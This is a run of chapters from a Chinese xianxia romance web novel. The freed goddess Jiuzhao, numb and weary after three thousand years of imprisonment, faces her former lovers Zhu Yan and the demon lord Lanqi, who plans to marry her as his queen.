从无咎拿出解开锁链的钥匙,到她被到来魔族军营,再到此刻祝晏为她上药。 所有的一切, 仿佛她被关在牢狱太久, 快要发疯,所幻想出来欺骗自我的梦境。 但很快,九昭又冷静下来。 因为她清楚,不论如何, 她的梦里绝不会出现祝晏。 哪怕出现,画面也不可能充斥温情的色彩。 九昭睁着双眼,一言不发望着帐篷顶端。 始终绵长浅淡的鼻息, 给了沉浸在涂药中的青年,一种她尚未醒来的假象。 肉眼可见的伤口太多,涂完膝盖的手微微抬起,祝晏犹豫着该往上还是向下, 薄若无物的丝绸裹覆着成年女性的躯体, 只消分散注意多看一眼, 脉搏处便会传来极为不正常的律动。 祝晏不欲挑战自身定力,旋即落下长垂的睫羽—— 沾满药膏的手指, 抚上小腿靠近骨骼部分的纤韧肌肤。 在过往耳鬓厮磨的岁月, 九昭的每一处他都曾亲自膜拜丈量。 为他珍视的宝物,变作浑身碎痕的裂瓷。 涂着涂着, 祝晏难抑心疼怜惜, 他不自觉俯落脖颈, 用唇吻上九昭痂痕犹新的脚背。 那吻十分柔和, 恍若蜻蜓点水, 白羽拂拭。 九昭向来敏感怕痒。 这一下, 身体的条件反射先至,被吻住的足弓抖了抖,小巧的脚趾向内紧紧蜷起。 没法再继续装晕,九昭的视线斜扫过去。 而立刻捕捉到这点的祝晏比她反应来得更快——一张姣若春花的面孔半抬,他投射过来的眸光先是流露对于九昭醒转的惊喜,紧接着,如同孩子做错事般的忐忑跟随其后。 “昭娘……” 睫毛不安地抖动两下。 祝晏启唇,小声唤出的,却是旧日的爱称。 作为回应,九昭望着他,并不说话。 那眼神无关爱恨,难掩倦意。 别离的三千年,祝晏设想过无数重逢画面,指责、辱骂、质问、落泪……哪怕九昭不给任何解释的机会,见面便要杀了自己,他都认为实属正常——唯独没有想过,她会这样看着他,像是在看一个陌生人。 心脏无声泛开针扎似的疼痛。 祝晏被爱意、思念填满的目光陡然清醒过来,他伸手握住九昭只剩把骨头的左腕,哀恳道:“昭娘、昭娘,你能不能别这么看着我,昔日之事,是我错了,我发誓,从今以后,我都会好好保护你——” 青年的薄唇不断张合,言语犹带未尽之情。 认错与忏悔皆已致意完毕,接下去,应该当年详细解释背叛的起因经过。 然而,堪堪发出个意味不明的音节,他又将其咽回去,只转移话题:“昭娘,你什么都不用担心,三清天不会来找你麻烦,你就在这里好好休息,想吃什么想用什么,外面自有女婢,你可以摇动床边金铃。” 顺着他指的方向,九昭瞧见一个悬在青铜架下方的小巧铃铛。 的确处在半臂距离之内,只要探手,便可摇动,十分方便。 祝晏的性格妥帖,处处都能周全。 这也是九昭从前选定他为第二任王夫的重要原因。 那些打动过她的小伎俩如今再现,却平添十二万分的讽刺。 九昭双眼停留在金铃上的时间不过一息,又飞快转了过去。她无视祝晏如影随形的视线,偏了偏头,眼珠的落点,从他紧握手腕的掌心,上移到他的面容——那双红瞳里,除了疑惑以外,依旧平静无波。 当失去言辞辅助,人的每一个反应变化,就成为了难解的谜题。 祝晏只觉她的表情像是在疑惑身为仇敌的魔族,为何要给自己提供容身之所,又像是在疑惑,分明没有任何关系的两个人,他为何要这般毫无分寸,一边抓着她的手,一边同她絮絮叨叨说这么多。 越深想下去,祝晏的脑海就越是控制不住,冒出许多糟糕的思绪。 恨,本是爱的阴暗面。 若恨意都没有了,爱还能剩下多少呢? 他记挂了她千年,也后悔了千年,好容易通过努力,达成现在的局面。 难道要被迫接受,此后双方形同陌路吗? 不、不可以—— 念头到这里打住。 生怕再待下去,自己会露出狰狞扭曲的神态吓坏九昭。 祝晏借着衣衫遮挡,用力掐进大腿,制造痛楚反而成为了他稳定情绪的最佳途径。 他勉强挤出个微笑:“昭娘,你是不是太累了,没力气和我说话?没关系,晚些时候,我再来看你。” 说完,他用指腹恋恋不舍地摩挲了一下九昭的手背。 站起身,一步三回头,直至身影消失在帐帘后。 …… 一直维持平躺的姿势,仅是眼珠转来转去。 果然也很累。 热衷于躺平,做具尸体的九昭,重新望向上空。 祝晏突如其来的到访,没有叫她的心湖泛起任何涟漪。 无厘头的腹诽回荡在灵台,再一眨眼,面孔为人,身体为龙的巫逐浮现于她眼前。 “被那只骚狐狸吻过的地方,要不要我替你消消毒?” 他冲九昭勾起唇角,嘴里不干不净骂着祝晏,龙身无限拉长,飘到她脚背处细细“端详”。 那张人面,双眼的部位,依旧覆着她亲手系上的绸带。 虽无法视物,九昭却无端觉得,白绸后有双锐利的眼睛,能够看穿万物。 她动了动,小心避开伤口,将身躯半侧过来。 抿紧的嘴唇未动,在灵台里说着彼此方能听见的话音:“不用,你又不是不知道,你根本碰不到我。” 相伴千年,巫逐早已习惯九昭丧气又爱泼冷水的说话方式。 他在她的双脚附近打转一圈,又缩回到眼前:“既然出来了,你就没点别的打算吗?” 九昭反问:“什么打算?” “那只狐狸精骗了你,按照你过去的性格,不得将他抽筋扒皮?” “你也说了那是过去,如今的我算什么?无日渊内,若非每次雷罚来临,你都强//占//我的身体,将大部分力量转移到寒铁锁链上,我早就死了,现在活下来,也只不过是个路都走不稳的残废。” 巫逐对九昭的自嘲充耳不闻,只一门心思道:“你不想看看三千年过去,三清天变成了何等模样吗?还有,魔族将你从无日渊牢笼解救出来,内里究竟计划着什么阴谋。” 九昭打了个哈欠:“我为何要去看,去打探?我魔不是魔,仙也非仙,两界的恩怨跟我没有任何关系,魔族来抓我,无非是跟当初的三清天一个盘算,认为我身上的凤凰真血还有利用价值—— “也罢,死在谁手里不是死,魔族要杀就杀。” 当她再度传递不想活的意愿,巫逐的唇角也没了笑的弧度。 他的身躯突然探近,人面成倍放大,悬在眉睫之距,冷不丁问道:“你是真想死?” 九昭颔首。 “你不如好好想想,若一心求死,怎会有我的诞生?” 问完这句,不等九昭回答,他弹指换了副面色,促狭地嗤笑起来,趁九昭不注意,在她的唇面落下一吻,“也罢,也罢,我都死了,干嘛盼着你活?待你弃了肉/身的束缚,我们做一对快活的鬼鸳鸯。” 正如九昭所说,巫逐根本触碰不到她。 那吻落下,对应的肌肤部位,并无半分感知。 可冷不丁的偷袭,依旧叫人着恼。 九昭有气无力抬手,挥过眼前,还在笑话她的巫逐触及手掌陡然溃散,变回一缕黑沉的魔气。 此等景象,她见惯不惯。 奈何斗嘴两句,失去了原本的睡意。 仅是裹块绸缎的穿着有些不妥,她拣起搭在床尾的崭新衣衫慢吞吞穿上。 复平躺下来,继续望着顶端放空思绪。 …… 到了夜里,祝晏也没兑现他晚点过来看望的承诺。 帐篷外火光渐次亮起,九昭闻得一阵喧闹。 那架势好似什么了不得的大人物回来了,众魔正簇拥着对方,争先恐后地谄媚讨好。 谁来谁去,她不感兴趣,只想睡觉。 朝周围摸索几息,抓到那片换下的绸缎,撕扯出半截手指长短的两片,都低喘吁吁花费不少力气。 布片塞进耳孔,充当堵物,动静便减轻许多。 九昭舒适地吁出口气—— 坐牢三千年,不是被九天雷罚劈得死去活来,就是经常伤口疼到什么都做不了,只想一头撞死,难得有躺在柔软的床榻上,安心休憩的机会,哪怕明朝晨起,无咎反悔要将她送回去,她也要睡个够本。 枕着主帐热闹浮华的歌舞声,九昭沉沉闭上眼睛。 这一觉未至天亮。 深更时分,女婢们鱼贯而入,将她柔声唤醒。 “仙子,尊上传召您。” 整个焚业海都是业尊兰祁的,祝晏下达的不要打扰命令自然失去效力。 考虑到九昭的伤势沉重,走路并不稳当,两位女婢连搀带抱,将她带去了位于正前方的主帐。 到了目的地,贴心的她们却半步不肯踏进。 没办法,九昭只好扶着帐壁,另手将厚帘拉开。 宴会已罢,席位酒肴皆被撤去。 阔敞空间内水声潺潺,来自几丈外屏风的后方。 烛火曳曳,一道颀长人影映照在屏风之上,根据形状来看,似是赤/身/裸/体。 九昭挪步过去,自行寻了把椅子坐下,目不转睛地盯着屏风看起来。 半晌,人影停止沐浴的动作。 着了袴裤,大敞衣襟,闲庭信步般转了出来。 九昭扬面,晏然自若:“我该叫你兰祁,还是舅舅?” 163| 第163章 ◎“……泼、皮、无、赖。”◎ 舅舅这个称谓, 颇为出乎兰祁的意料。 不仅是他,就连因为力量尚未完全恢复,不得不长时间沉眠在他识海的巫劭元神—— 也跟着无意识地抽动了一下。 那个桃林内怒斥巫劭的骄傲神姬, 仿佛已然成为昨日的一道破碎旧影。 兰祁的目光有一刹那的失神, 随即,某道难以言喻念头,又于心头无声蜿蜒。 自打站上权力的最高峰,诸臣敬称他为尊上, 神后亲自取就的名字便逐渐淡去,更不会有不识相者刻意区分他跟巫劭。九昭不仅问出这点,还唤巫劭作舅舅, 仿佛在期待着他彻底沦为遭巫劭控制的傀儡。 青年原本还算轻松的情绪微微发沉。 他迈开脚步,走到九昭面前,居高临下俯视:“叫你失望了,孤是兰祁。” 闻言, 九昭意兴阑珊地挑了下眉毛, 算是回应。 好像对于同自己“坦诚相见”的男人究竟是谁, 根本毫无所谓。 过去两人相处,总是兰祁牵着九昭的鼻子走。她性格直率, 爱憎分明, 从来不会掩饰在意的人事,只要稍微撩拨几句, 兰祁就能轻易掌控她的喜怒哀乐。 可今夜相见, 堪堪两句对话, 一个表情, 强烈的违和感不容兰祁忽视。 他尚未确定这种违和感来自何处, 九昭又自顾自说着:“也对, 巫劭没有实体,需要借助你的身躯苟活,而你力量不足,需要他来帮你震慑四方——你们各取所需,谁也离不开谁,我实在没必要分那么请。” 她的话,全然无视了前头“孤是兰祁”的强调。 这叫青年眉头锁得更紧。 甚至不及过去的语气尖锐,态度也显得轻浮随意。 偏生就是这种细针扎肉的方式,越发叫兰祁没了好心情。 他企图从九昭脸上瞧见与自己一般不快的表情,于是顿了顿,转变话锋问道:“神帝崩逝,你入无日渊后,三清天由上神之首扶胥代为掌管。哪怕互为仇敌,孤亦要赞他一句文韬武略,持正不阿。 “可在他的主持下,整整三千年,三清天对战焚业海,依旧输多赢少,节节败退至今天的地步—— “你知晓是为什么吗?” 果然,就算她不在意外界的情形。 依旧会有人想方设法叫她知晓。 九昭转了转眼珠,聚焦溃散的视线,努力不使自己走神。 听得不到回应的兰祁继续说道:“那是因为,仙族最喜欢扯正统这面大旗,扶胥虽有代管之名,却始终没有坐到神帝的位置上去,事情一旦涉及名不正言不顺,不少人便认为自己有了一争之力。 “这些年,三清天表面风平浪静,实则一团污秽,内讧的内讧,发兵延误的发兵延误。 “一个注定要腐烂破碎的国度,任凭谁力挽狂澜,都没有任何用。 “昭昭,焚业海的军队占领无日渊,孤第一时间下旨将你释放,正是为了和你一起,见证三清天倾覆。 “他们囚禁你,推翻你,让你吃了很多的苦—— “这个世上,马上不会再有仙族了,昭昭,你高兴吗?” 此时此刻,若主帐为瓦肆,那么兰祁就是声情并茂的绝世名伶。 他用富有起伏变化的语调,讲述了南神王琼英为抵挡毒雾入侵,损耗半身神力,以致神境跌落;仙魔两军交战于北境朔风雪峡,由于增援久久未到,司德之神绥猷重伤苦战,当场殒命。 种种仙族的苦难,经由兰祁的喉舌,好似历历在目。 他更说起了九昭如今流传在两界的声名—— 一个六根污浊,堕落成邪的叛徒,遭心魔入侵神志,犯下谋害生父的大逆之举。 “他们还把你过去的情史都翻了出来。 “说你堕魔,有迹可循——先是爱上心术不正的我,中间经神帝苦口婆心劝告,好容易和扶胥上神成婚走上正途,可顽劣乖张,任性恣意,扶胥上神自觉性格不合,难以相处下去,为此拼着未来共治三清天的尊荣不要,也要合离。再然后,你便倾心于焚业海蛰伏在三清天的细作,九尾狐族祝晏。 “同他勾结在一起,桃林误事,集议泄密,最终连神帝也惨遭你的毒手。” 从大局到小我。 从整个仙族到私人名声。 身为当局者,九昭明白传言内里有多少荒谬的揣测,多少恶意的抹黑。 昔日亲近相知之人,又接二连三在战争中逝去。 她或许应该感到悲哀,感到痛苦,感到愤怒—— 哪怕软弱地淌下泪水,也比无动于衷来得好。 …… 言语的关键处,停顿、拉长、咬重字音。 是兰祁惯用的,摆弄人心的有效伎俩。 伴随话音,他颀长的身体弯曲下来,矫健饱满,散发着生机与温度胸膛悄然靠近。 他是掠夺人负面情绪为食的野兽。 双手圈挡在选中猎物的臂膀两侧,伺机而动,随时等待着扑到她身上,大快朵颐。 可九昭的心空荡荡的,毫无波澜。 余光望向眼梢,那里更是干涸得像是烈日暴晒过后的河床。 她后靠,抵上椅背,面容没有愤恨耻辱,也没有惊慌失措。 捂嘴打了个哈欠,充满倦意地问道:“多谢你说得这么详细,让我明白不要随意出现在仙族的地盘,以免被人抓起来处以雷刑——仙族好不好的,跟我也没什么关系,请问你说完了吗?说完我想回去休息了。” 青年的面孔偏了偏,恰好逆光挡住近处的烛火。 秀致眉眼落在阴影里,有种说不出的沉抑。 听完九昭离开的请求,他却不肯撤手放她走,探首逼近:“你就不想知道你为何被放出来?” “你不是说了吗?让我共同见证三清天覆灭的结局。” 九昭也伴着他的动作微抬起头,轻飘飘的语气说着最添堵的回应。 兰祁:“……” “我来遵守当初的承诺,迎你为焚业海的尊后。” “噢,我知道了,什么时候成婚,你应该已经想好,不需要我来决定吧? “我是不是可以走了?” “……” 这次,兰祁的手,从木椅两端落在九昭肩膀上,意识到他的不满,九昭想了想,又补充道:“你如今借助巫劭,觉醒了体内的凤凰血脉,只要与我结合,就能随意调用我的真血之力。完成这一步,我便失去了利用价值,你可以顺理成章对外宣称我病逝,转头再将我送给祝晏,以换取他对你的忠心耿耿加倍卖命。 “是这样吗,兰祁尊上?几个时辰前祝晏来找我,明里暗里的意思我都听懂了。” “祝晏来找过你?他不是被我派去——” 话漏到半截,猛地顿住。 兰祁和白日里的祝晏一样,当起了不会把话说完整的打哑谜爱好者。 九昭自觉懂事,给什么要什么,不给也不强求。 谁料祝晏的名字出口,对方的脸色益发黑了一层:“他还说了什么,干了什么?” “干了什么?无非是为我换衣服,替我上药。 “至于说了什么,保护我,永远不离开我之类的……怎么,你们没有达成共识吗?” 兰祁的脸黑了又黑,一沉再沉:“他如此迫不及待,倒是十分痴情!可他有没有同你提起,我娶你为后,公开羞辱三清天一番,再宣布你病逝,你名义上就是个死人,再也不能够出现在有外臣参与的场合。 “祝晏眼下贵为一方城主,又是九尾狐族的族长,有许多宴会典礼,都需要他携带妻子出席。 “你满足不了这个要求,只能做被他圈养在床笫之间,见不得光的的妾室!” “喔,那听起来确实是尊后的待遇好些,你要不,晚些日子再宣布我病逝? “不过无所谓了,我一个阶下囚,哪有资格挑挑拣拣,有个容身之所就不错了。” 明着夹枪,暗着带棒,似乎都不能令九昭变脸。 兰祁只觉一口气堵在喉咙,上不去,也下不来。 她何时变得这般,跟个狗皮膏药似的,话说到哪儿,就跟着贴到哪儿? 继祝晏之后,年轻的业尊也成为了第二个被彼此重逢打击到的人。 偏生,九昭还不肯放过他。 她赤色的眼珠陡然向下,直勾勾凝视着他敞开的衣襟的深处:“尊上深夜唤我前来,还这般沐浴完毕大敞着衣衫,莫非是怕事迟生变,所以现在便要结合夺取我的真血之力吗?” 说着,她扭了扭肩膀,让伤口避开青年手掌不断收紧的范围。 使力几脚,蹬掉略宽松的鞋履,她内里没穿亵袜,抬高露出道道伤痕的双足和小腿,“喏,尊上请看,我身体的伤痕颇多,沦落为半废之人,体力也不是很好,非要做的话,只能麻烦尊上轻柔些,自己动了。” ……泼、皮、无、赖。 她把他当成什么,究竟谁才是真正的阶下囚? 还轻柔些,自己动? 顾惜九昭衣衫下不得见的伤处,兰祁强行保持理智,撤开抓住她双肩的手。 紧握成拳,砰得一声砸在木椅旁边的隔桌。 他难得一改内敛之相,近乎恶狠狠道:“你也不瞧瞧你自己,这幅尊容,你有兴致,本尊都没有!” “怎么,我现在很丑吗?” 九昭下意识摸了摸自己的面孔,低声自言自语。 过去,她最爱惜容貌。 保养起来穷奢极欲,通身肌肤,不施妆粉,都凝若脂玉。 现在,她依旧很美,可明媚活力的象牙白,却变成了象征病弱的无血色苍白。 见此情形,兰祁的气怒消了些,取而代之的是怜惜。 他刚想摇头替自身找补,然而,未及少顷,九昭又摩挲着消瘦的下颌,吃吃轻笑起来:“从这方面来说,还是做祝晏的妾室更好,起码他不会嫌弃我的身体,对着我脚上的痂痕,都能万般柔情地吻下去。” 164| 第164章 ◎“又关我的事?”◎ 在魔族军营休养几日, 九昭逐渐适应三千年后的世间。 从侍奉的女婢那里,她又陆陆续续得知了一些现今的消息。 譬如南陵和东原皆已被焚业海占领,兰祁顺理成章将原本属于凤凰族的领土赐还给他们。 一清天四方辖地, 唯余西海因地理优势, 尚在苦苦支撑—— 料想攻克下来,不过时间早晚而已。 再譬如三清天的衰落,不仅仅是人心参差,明争暗斗的缘故, 更在于两千年前,仙族军队前脚才于朔风雪峡惨败,后脚兰祁便率领近卫突破神力屏障偷袭, 一剑斩开登天阶,阻断了芸生世飞升上界的路径。 一旦跨入地仙行列,仙族无论男女,皆有自主选择是否生育的能力。 可寿命越是漫长, 繁衍的欲/望就越是低下。 三清天每年新诞生的仙族, 将近九成都来自芸生世。 在最多的时候, 登天阶一日可指引数十位大成者踏入上界。 仙族人数不及魔族的五分之一,仰赖于修行时期的刻苦自抑, 所以力量生来就比放浪形骸的魔族强大数倍。两族发生战事, 日日都有士兵死去,命脉却被人掐断, 可想而知, 对三清天造成的打击有多大。 更何况, 登天阶是祖神娘娘遗留下来的。 当日连阶面出现几道裂痕, 修补都废了几位金仙半年的功夫。 如此神物, 遭兰祁轻描淡写一剑斩断。 他凭一己之力, 刷新了仙族对于魔族实力的认知,如同厚重的阴云笼罩在每个人的心中。 而相较修补裂痕,想重新连接两处断口,需要付出的代价又难于登天。 当日,祖神娘娘用五块七色石创造了上界。 其中四块分别化作一清天的东南西北四方土地,第五块则构建成为包括二清天三清天在内的中廷。 修复断裂处,须得借助五块七色石的力量。 将它们从四方和中廷的地渊核心暂时请出,再加上金木水火土五系神力。 司德之神绥猷遭遇埋伏陨落,另一位金系上神崇黎早已反叛。 步步皆在兰祁的算计之内。 为了挽救三清天的颓势,其余的金系天仙不顾自身是否准备充分,纷纷试图冲击神位。 可惜无一例外,尽数失败。 登天阶断裂至今,带给仙族无尽的绝望。 他们拒绝反思,反而将错误推脱给九昭,道为着储君弑父逆天,天道才会降下严苛的惩罚。 初闻此事,九昭反手指了指自己:“又关我的事?” 没有神姬身份的桎梏,也不再有狭隘的感情束缚,她听见这些加诸在身的罪名,只觉分外好笑。 和她的忍俊不禁不同,女婢提起这些往事,脸上俱是向往崇拜之情。 魔族本是慕强的种族。 兰祁“一剑断天”的事迹传出,在下臣民众心中的威名更上一层楼。 女婢见九昭没有如自己一般夸奖兰祁,继续自说自话道:“通过这些事,足以看出尊上同那些仙族之间计策和实力的差距,什么祖神娘娘留下的神物,还禁不住尊上的烈霄一剑——” “所以,斩断之后,你们尊上什么事都没有,毫发无损地全身而退了?” 九昭挑起一侧眉峰,严重怀疑她夸大其词。 女婢不善说谎,心虚地偏了偏眼珠,又有些不服气:“尊上遭登天阶断裂时的力量冲击,是吐了一大口血,不过那也没什么的,尊上回寂无宫闭关休养了不到一个月,就又出来亲自指挥战局了!” 夸赞起兰祁来,两位女婢那叫一个滔滔不绝。 九昭只是唇角凝着似笑非笑的弧度,仿佛在凝神倾听。 她的皮相看起来岁月静好,内里却不住口地同盘桓在一旁的巫逐腹诽: “这两个小丫头夸奖兰祁头脑聪明也就算了,怎么好意思说出‘实力差距’这四个字的? “他只比我大几千岁而已,若无巫劭元神和凤凰真血的帮助,怎么可能斩得开登天阶? “还有,什么休养了不到一个月就又出来指挥战局—— “我严重怀疑斩阶的时候,是巫劭附了他的身体,所以大部分的伤势也被巫劭的元神承受了。” “你的关注点就在这上面吗?” 巫逐爱恶作剧,龙项上的人头穿过正在说话的女婢口腔,直直同九昭“对视”,“你的天赋不比巫劭差,当年以区区天仙的身份,练就最高阶凤火——只要你想争想抢,莫说神帝的位置,并任业尊又何尝不可?” 他坚韧的身躯遮住颤动的红舌,看起来就像是女婢本该生有舌头的位置,突然长出来一条人面长虫。 九昭失去了情感。 看见这惊悚一幕也不会觉得后背生凉。 她的目光盯在女婢张合的唇间,直将对方看得噤了声感到赧然,才若无其事移开眼睛: “是你想争想抢,我只想死了,一了百了。 “怎么样,要不要满足我的愿望?下次我找到机会死的时候,你不要占据我的身体掌控我。” “……” 恨铁不成钢的表情,从巫逐脸上一闪而过。 “死? “你就是我,我就是你! “你还不明白吗,究竟自己想不想死——” 每说起这个话题,总是絮絮叨叨的巫逐就会自发同九昭冷战。 他撂下这句话,身体散为黑雾钻入九昭额心。 于是,九昭又瞧见了女婢半张着的檀口里,若隐若现的红舌。 被她透着诡异的视线盯到头皮发麻,女婢忍不住问道:“仙子,是女婢嘴中……有什么东西吗?” “你刚才,有没有感觉到嘴里有什么东西?” “没有啊。” 女婢茫然地摇了摇头。 “好,那你下去,我要睡觉了。” 九昭的脸说变就变,一骨碌躺倒在床,把被子拉高盖过头顶。 “……” 女婢们面面相觑。 帐篷里没人后,九昭又往灵台深处唤了几声。 然而巫逐使小性,半点都不回应。 九昭只好开启日复一日的发呆模式。 她思忖着巫逐的来处,却怎么也想不明白,是巫逐不曾被神树的凤火彻底杀死,利用扎根在她体内的魔气存活了下来,抑或这根本就是自己在漫长的囚禁生涯,穷极无聊所产生的深度幻觉。 巫逐的话,只有她能听到。 巫逐的人,只有她能看到。 可巫逐不像活着时候的巫逐,反倒像神姬时期的九昭。 …… 在床上躺到第十日,九昭就可以自行走路了。 她曾受过雷罚,也见过受完雷罚的人是什么模样。 虽然巫逐将大部分的伤害都引到了寒铁锁链之上,但绝不至于这么快就恢复。 趁着无人偷偷起身走完几圈,九昭深觉有些不可思议。 不过能躺着,谁想动弹,她最不耐烦的就是应付每次祝晏过来时的哭哭啼啼。 似乎那日祝晏赶在第一个看望她的消息,兰祁并不得知。主帐里,她将为后和为妾的好处,如市场上卖的大白菜般比较一番,被兰祁寒着脸赶走后,祝晏再来,身边就多了一个突兀的“跟班”。 “昭娘,你可好些了吗?” 顶着抱臂站在后方的无咎灼灼的视线,祝晏依旧能够做到妙目含光,温情脉脉。 有时,九昭也会觉得不可思议。 尽管爱恨都已放下,但往事不会消失在记忆里。 他们中间隔着难堪到极点的利用和背叛,他竟然还能够如此锲而不舍来讨好自己。 图什么呢? 难道就像曾经父神对母神那样,利用着利用着,不小心付出了真心? 肘下垫有软枕,九昭懒洋洋歪着头,对于祝晏端着金盘,切喂水果的侍候来者不拒。 她从不与祝晏说话。 心情好了,赏他个眼神,转瞬他便会露出不值钱的惊喜模样。 然后说不了几句,被两眼几欲喷火的无咎火速扯走。 厚帘尚未放下,寒风中传来他忿忿的声音: “我不明白,尊上说全军上下要尊重她,你也将她当个宝捧在手里—— “不过是长得漂亮了点,至于吗? “容貌出众的女子,我改天给你找十个八个来,下次你别再到这里丢人!” “阿咎,你不明白,你什么都不明白。” 祝晏的反驳很迅速,却充斥着许多雾气一般朦胧的情绪,“就连我,也是迷茫了整整三千年,才明白自己究竟想要什么。” …… 九昭休养到一个月时。 将军营驻扎在北境的兰祁下令暂时撤兵,只留一部分作为后备防御。 九昭询问什么情况。 女婢睁大鹿眼,定定看了她片刻,语调古怪地回答: “仙子,尊上下旨,相比彻底攻占三清天夺得胜利,他更想先迎娶您。” 165| 第165章 ◎“连理殿。”◎ 虽见不着面, 但兰祁说要娶九昭这件事,办的却是半点也不含糊。 四匹魔族圣兽墨麒麟拉着王驾,在北境通往焚业海的路途上, 优哉游哉行了十日。 回到寂无宫时, 业尊即将大婚,迎三清天废神姬为后的消息,已经传遍整个魔族。 不仅如此,期间他还连下数道诏令, 命身边的内侍开启传送阵先行返回准备。 修缮宫室、更换陈设、遴选宫人、祭占赐福…… 兰祁的旨意从不避人,每一条都经由女婢的喉舌,精准无误传入后方鸾车上的九昭耳中。 作为视线焦点, 陷落在他人如海潮涌至的艳羡和嫉妒里,九昭不以为意。 她依旧舒舒服服卧在锦堆深处,该吃吃,该喝喝。 什么业尊对她情根深种, 骗骗天真孩童便罢了。 既然要羞辱三清天, 那闹出来的阵仗自然是越夸张越好。 …… 为着不想因为恢复过快引起疑心, 临到下车时,九昭照例从幔帐中探出一双手, 以便奴婢躬身搀扶。 层层落帘之外, 车马人声喧闹。 兰祁阔别寂无宫已久,有许多装裹物件要搬回宫内。 九昭伸出的手一时半刻无人搀扶, 经寒风吹得有些瑟缩。 她也不恼, 意欲撤回温暖之处, 下一瞬, 一只掌心温热的大手将她的腕子整个攥住。 “诶?” 九昭发出声短促的惊呼, 转眼被人从鸾车里拉了出来, 打横抱入怀中。 大氅细密的风毛扑在面孔,由温暖到寒冷再到温暖的过程紧紧几息,修长有力的手臂穿过弯曲腿肘,九昭感觉到四周的喧哗陡然止息——某些意味不明的视线,也随着兰祁将她藏进大氅的动作而被掩去。 这人还真是…… 演戏上瘾。 九昭很自觉地配合兰祁旺盛的表演欲望,整个人往怀抱深处缩了缩。 女婢们晨间就得到了今日将抵达终点的通知,考虑到有极有可能是九昭第一次与臣民会面,她们特地早早将她从被窝里挖出来,梳妆打扮一番,长及脚踝的黑发梳成高髻,后脑勺还横插了两根镂花金钗。 正是这两根金钗,弄得九昭怎么也找不到舒适的位置。 她仗着没有人能够透过大氅观察内里的情形,于是用后脑抵住兰祁的胸膛来回磨蹭。 直到将金钗蹭歪,将青年的肌肉蹭地无端僵硬起来。 “……” 青年的指节隔着裙装揿入腿肉,悄然收紧,触及伤口鲜明的痛楚警告着九昭不可胡作非为。 无人察觉处,两人不动声色较量了个来回。 兰祁这才抱着她,从容不迫自车阶上走下,身后侍官、女婢、亲卫按序派开,一行人迤逦前行。 焚业海向来都是冷的。 受到时常从地表喷发的业火影响,这里没有四季之分。 没错,就像活在阴沟里的老鼠,总会下意识地远离光明暖热之物。 焚业海特有的业火,散发出来的亦是寒冷彻骨的温度。 它的寒冷,远胜北境霜雪。 但遭其灼烧的尸体,却会化为寻常火焰焚毁后的一滩黑烬。 这道没有任何预兆和规律可循的冷火,每年总会夺去无数魔族的性命——可对待想要归入魔族的神仙,它又是不计常理的温和,甚至能帮助不少人脱胎换骨,从此在怨气丛生的焚业海好好生活下去。 九昭在兰祁平稳的脚步声,回忆着过去在典籍中看到过的,有关焚业海的描述。 寒风过境,大氅被撩开一道缝隙,真实而清晰的魔族世界映入她的眼帘——的确跟三清天华美恢弘的建筑不同,面前鼎鼎大名为历代业尊所居住的寂无宫,正如它的名字一般,透着巍峨肃杀的气息。 漆黑的颜色簇拥着嶙峋的轮廓,殿宇顶端隆起的尖顶近似棱形,底部粗壮,逐渐变细,如同一柄柄利剑刺破晦暗苍穹,而宫室的最高处,寂无宫主殿的尖顶,恰好正对月色高悬的位置。 月有阴晴圆缺的规则,在焚业海亦是谬论。 日月为三清天二神掌管,当年仙魔两族决裂,神帝便下令,日月不再普照魔族土地。 而现今的圆月,不过祖神娘娘寿数将尽时的最后一点怜悯。 她将象征月亮最圆满状态的虚像,投映在焚业海天空,期望终有一日,光明再度降临。 圆月幻象之下,以寂无宫为核心,延伸出方圆百里,如同三清天中廷一般,为焚业海王都。 传说王都是最早一批迁居来此的罪仙们的住处,祖神娘娘深觉亏欠,以至高神力赐下庇护,不使业火波及这片区域——出了王都四方城门,焚业海的土地共划分三十二城,业火神出鬼没,又兼土地贫瘠,食水资源稀少,臣民的生存条件十分艰苦,也因此人人剽悍,嗜好杀戮和争夺。 这部分更详细的内容,仙族的典籍不会记录完全。 是一路上,女婢们为使九昭尽快适应焚业海生活,而补充说明的。 她们提起圆月,提起祖神娘娘的守护,语气却无感激之情。 透过那两双眼睛,九昭看见了扎根在魔族骨血中,盘桓千万年的执念、怨恨和不甘。 怨三清天占领更好的土地。 恨祖神娘娘对待子民有失公允。 不甘永远挣扎在艰难中,被血泪浇灌,被业火浇灌,踽踽而行。 可没有爱恨,九昭无法共情他们。 她只觉得好笑。 什么是仙,什么是魔? 祖神的力量无处不在,血源的牵系也无从割舍。 彼此仇视,你死我活,到头来尽是一母同胞。 …… 走了大半个时辰,九昭昏昏欲睡之际,兰祁终于停下步伐。 他将她放在床榻之上,同时由宫人服侍着解下大氅。 暖融如春的热意扑面而来。 偌大的殿宇,布置处处按照她旧日的喜好。 甚至为了照顾到她如今病弱,无法使用仙力护体的情况,殿内处处摆放着炭盆。 兰祁踱步审视着周遭,确定一切足够完美,又撂下句“此后这里便是你的居所”匆匆走了。 既是居所,总要先识得名字。 免得哪日迷路了,请人带自己回去,连具体信息都说不明白。 方才她躲在大氅里没有看清,眼下又不愿出去受冻。 九昭捧着瓷盏,喝了几口宫人提前准备好的牛乳茶,接着唤来女婢为自己拆解发髻。 她换了个姿势,侧转过来,状似打量陈设,顺嘴夸赞道:“这地方倒是不错。” 女婢回答:“徽、连理殿是历代尊后的住处,一切布置规格比照尊上起居的宫室——我焚业海与三清天不同,一旦成婚,妻子并非丈夫的附庸,享有共同权力,曾有业尊病重,尊后代为上朝处理政务的先例。” 权不权力的。 并不是她该考虑的事。 就算真正的尊后地位崇高,那也跟她这样的傀儡没半毛钱关系。 九昭敏锐察觉到女婢一开始说错字眼的谬误。 又兼“连理殿”这个名字实在过于微妙,令她想起折连理枝和红绸,制成手环赠予兰祁的过往。 遂问道:“连理殿、这个名字,倒是十分柔情缱绻,不似寂无宫那般大气磅礴—— “是一直以来,都不曾变过吗?” 166| 第166章 ◎“不知不觉中,她脸红了。”◎ 九昭很少会对周遭的事物感兴趣。 难得发问, 女婢也乐于为她解答: “回仙子的话,这连理殿原本叫做徽仪殿,是尊上继位后, 才下令改名的。” 兰祁是个不论做何事都有深意的人, 九昭自然不会认为他是觉得“连理”一词好听,才将殿名更改的—— 从当初被她的凤火灼伤,也不肯摘下的手环,到如今的尊后宫殿之名, 种种细节,惹人深思。 对爱仍存有期待之人,总会不自觉地从细微处寻找对方心软的证明, 而后陷入反复地纠结和怀疑。 可惜九昭不止对兰祁的爱没有期待。 更对世上所有人都没有。 